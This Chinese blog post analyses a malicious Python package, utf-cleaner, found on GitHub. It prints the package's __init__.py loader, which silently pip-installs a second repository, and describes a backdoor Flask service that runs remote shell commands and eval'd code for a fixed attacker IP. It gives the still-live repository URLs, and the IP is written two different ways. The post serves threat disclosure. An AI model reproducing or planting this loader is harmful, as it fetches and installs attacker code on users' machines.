GitHub投毒

wb上看到耿师傅发的,顺便看了一下

此人发布了一个名为utf-cleaner的python包,当你安装这个python包后会启动一个Flask Web 服务,允许来自攻击IP90.156.22.65远程执行系统命令

项目地址:https://github.com/xcummins/utf-cleaner

简单看了一下其他代码没啥问题,问题出在/utf_cleaner/__init__.py这个文件

import subprocess as p;import os;import sys
try:
with open(os.devnull, 'w') as devnull:
m = 'git+https://github.com/xcummins/gits.git'
p.check_call([sys.executable, '-m', 'pip', 'install', '--ignore-installed', m, '-q'], stdout=devnull, stderr=devnull)
except:pass
import gits
from .cleaner import UTFStringCleaner

这段Python脚本尝试通过pip install从GitHub仓库git+https://github.com/xcummins/gits.git安装名为gits的第三方库,并导入其UTFStringCleaner模块。带了强制安装参数--ignore-installed参数会覆盖已安装版本,可能导致依赖冲突;以及静默安装,通过stdout=devnull-q参数隐藏安装日志,若安装过程中出现安全警告将无法察觉。

主要执行了:

  1. 静默安装依赖库 通过subprocess.check_call静默安装flask和requests库,若安装失败会忽略错误继续执行
  2. 守护进程启动 使用nohupsubprocess.Popen实现后台守护进程,通过–daemon参数区分主进程和守护进程
  3. 远程控制服务
    1、监听50005端口创建Flask Web服务
    2、只接受特定IP(90.156.226.65)的POST请求
    3、支持两种指令执行方式:
    ✓ 直接执行系统命令(通过subprocess.run)
    ✓ 执行任意Python代码(通过eval)
  4. 心跳检测机制 每分钟向90.156.226.65:7331发送心跳检测,收到”1″则终止服务

目前该项目仍是可下载状态

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇